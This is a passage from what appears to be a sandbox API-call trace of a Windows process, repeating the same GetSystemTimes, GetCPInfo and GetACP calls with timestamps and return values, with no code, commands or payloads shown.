lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.795] GetACP () returned 0x4e4 [0053.795] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.795] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.796] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.797] GetACP () returned 0x4e4 [0053.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.798] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.799] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.800] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.801] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.801] GetACP () returned 0x4e4 [0053.801] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.802] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.802] GetACP () returned 0x4e4 [0053.802] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] GetACP () returned 0x4e4 [0053.803] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0053.803] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0053.803] 